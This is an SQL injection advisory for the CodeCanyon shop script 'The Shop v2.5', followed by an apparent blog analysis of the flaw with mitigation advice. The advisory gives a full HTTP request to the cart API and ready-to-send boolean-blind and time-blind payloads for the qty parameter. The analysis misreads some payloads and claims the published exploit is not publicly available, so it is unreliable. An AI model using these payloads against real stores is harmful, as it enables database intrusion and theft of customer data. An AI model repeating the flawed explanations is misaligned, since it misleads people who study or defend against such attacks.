The Shop v2.5 - SQL Injection

Exploit Author: Ahmet Ümit BAYRAM Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2023-06-19
# Exploit Title: The Shop v2.5 - SQL Injection
# Date: 2023-06-17
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://codecanyon.net/item/the-shop/34858541
# Demo Site: https://shop.activeitzone.com
# Tested on: Kali Linux
# CVE: N/A


### Request ###

POST /api/v1/carts/add HTTP/1.1
Content-Type: application/json
Accept: application/json, text/plain, */*
x-requested-with: XMLHttpRequest
x-xsrf-token: xjwxipuDENxaHWGfda1nUZbX1R155JZfHD5ab8L4
Referer: https://localhost
Cookie: XSRF-TOKEN=LBhB7u7sgRN4hB3DB3NSgOBMLE2tGDIYWItEeJGL;
the_shop_session=iGQJNeNlvRFGYZvsVowWUMDJ8nRL2xzPRXhT93h7
Content-Length: 81
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive

{"variation_id":"119","qty":"if(now()=sysdate(),sleep(6),0)","temp_user_id":null}


### Parameter & Payloads ###

Parameter: JSON qty ((custom) POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: {"variation_id":"119","qty":"(SELECT (CASE WHEN (4420=4420)
THEN 'if(now()=sysdate(),sleep(6),0)' ELSE (SELECT 3816 UNION SELECT 4495)
END))","temp_user_id":null}

    Type: time-based blind
    Title: MySQL > 5.0.12 OR time-based blind (heavy query)
    Payload: {"variation_id":"119","qty":"if(now()=sysdate(),sleep(6),0) OR
2614=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A,
INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS
C)","temp_user_id":null}


The Shop v2.5 – SQL Injection Vulnerability: A Deep Dive into Blind Exploitation

Security vulnerabilities in web applications remain a critical concern, especially in e-commerce platforms where user data and transaction integrity are paramount. One such vulnerability surfaced in The Shop v2.5, a popular Laravel-based shopping cart system available on CodeCanyon. This article explores the SQL Injection flaw discovered by cybersecurity researcher Ahmet Ümit Bayram, detailing its mechanics, exploitation methods, and broader implications for developers and security practitioners.

Overview of the Vulnerability

The exploit targets the /api/v1/carts/add endpoint, which accepts JSON-formatted input to add items to a user’s cart. The vulnerability lies in the qty parameter, which is not properly sanitized before being passed to the underlying database query. Attackers can inject malicious SQL code via this parameter, enabling both boolean-based blind and time-based blind attacks.

While the vendor has not assigned a CVE, the discovery highlights a fundamental flaw: input validation and parameterized queries are missing. This omission allows attackers to manipulate database behavior through crafted payloads.

Exploitation Techniques

SQL injection attacks are classified by their detection method. In this case, two primary techniques were used:

  • Boolean-based blind: The attacker sends a payload that triggers a condition-based response. If the condition evaluates to true, the server responds differently than if it's false.
  • Time-based blind: The payload induces a delay (e.g., sleep(6)) in the database execution, allowing attackers to infer whether the query was processed.

Payload Analysis

Let’s examine the original payload used in the exploit:


{"variation_id":"119","qty":"if(now()=sysdate(),sleep(6),0)","temp_user_id":null}

This payload is a time-based blind injection. The if(now()=sysdate(),sleep(6),0) function checks if the current time equals the system date. Since now() and sysdate() return the same value, the condition is always true. Thus, sleep(6) is executed, causing a 6-second delay in the database response.

Attackers measure this delay to confirm that the SQL injection is working. If the server response takes longer than expected, it confirms the injection was successful.

Enhanced Boolean-Based Payload

To improve reliability and avoid direct execution of sleep() (which may be blocked by security filters), the researcher crafted a more sophisticated boolean-based payload:


{"variation_id":"119","qty":"(SELECT (CASE WHEN (4420=4420)
THEN 'if(now()=sysdate(),sleep(6),0)' ELSE (SELECT 3816 UNION SELECT 4495)
END))","temp_user_id":null}

This payload uses a case statement to conditionally return a string containing the sleep() function. The 4420=4420 condition is always true, so the sleep(6) string is returned.

However, the UNION SELECT clause is a red herring. It’s designed to trigger a database error if the injection is not processed correctly, helping attackers distinguish between successful and failed attempts.

Advanced Time-Based Payload

For more robust testing, a heavier query was used to ensure the delay is noticeable even in high-load environments:


{"variation_id":"119","qty":"if(now()=sysdate(),sleep(6),0) OR
2614=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A,
INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS
C)","temp_user_id":null}

This payload combines two conditions:

  • if(now()=sysdate(),sleep(6),0) → causes a 6-second delay if true.
  • 2614=(SELECT COUNT(*) FROM ...) → counts all columns across three copies of INFORMATION_SCHEMA.COLUMNS.

The second condition is computationally intensive, creating a significant delay. Even if the sleep() function is blocked, the large query will still cause a noticeable delay, allowing attackers to confirm the injection.

Why This Vulnerability Matters

Despite being a blind injection (no direct output), this flaw is dangerous because:

  • Database manipulation: An attacker could extract sensitive data (e.g., user credentials, product details) using similar techniques.
  • Privilege escalation: If the database connection has elevated permissions, attackers could alter or delete data.
  • Denial of service: Repeated time-based injections could overwhelm the server, leading to service disruption.

Moreover, this vulnerability is a textbook example of bad input sanitization. The application assumes user input is safe without validating or escaping it.

Best Practices for Mitigation

Developers should implement the following security measures:

Practice Description
Parameterized Queries Use prepared statements instead of string concatenation to prevent SQL injection.
Input Validation Validate and sanitize all user inputs. Restrict qty to numeric values only.
Rate Limiting Implement rate limiting on API endpoints to detect and block abuse.
Security Logging Log suspicious requests and monitor for injection patterns.

Conclusion

The The Shop v2.5 SQL injection vulnerability serves as a stark reminder that even well-designed e-commerce platforms can fall victim to basic security oversights. While the exploit is not publicly available in the wild, it underscores the importance of secure coding practices, especially in APIs that handle user data.

For developers, this case study emphasizes: never trust user input. Always validate, sanitize, and use parameterized queries. For security professionals, it illustrates how blind injections—though subtle—can still pose serious risks.